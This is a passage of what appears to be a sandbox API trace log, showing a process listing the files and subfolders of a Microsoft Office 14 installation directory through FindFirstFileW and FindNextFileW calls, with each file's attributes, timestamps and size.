	[0052.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), fInfoLevelId=0x0, lpFileInformation=0x12429458 | out: lpFileInformation=0x12429458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1
	[0052.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.045] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.045] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x8d7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSF.DLL", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x86db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSLM.DLL", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x510dc2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x452988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDT.DLL", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a1fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVTEL.DIC", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="AUDIOS~1.DLL")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="AUDIOS~3.DLL")) returned 1
	[0052.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="AUDIOS~2.DLL")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="BCSAUT~1.DLL")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="BCSCLI~1.DLL")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x6886, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClientManifest.man", cAlternateFileName="BCSCLI~1.MAN")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSEvents.man", cAlternateFileName="BCSEVE~1.MAN")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="BCSLAU~1.DLL")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="BCSRUN~2.DLL")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSSync.exe", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x65ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="BDCMET~2.XSD")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="BDCMET~1.XSD")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xdcc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CharSetTable.chr", cAlternateFileName="CHARSE~1.CHR")) returned 1
	[0052.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1
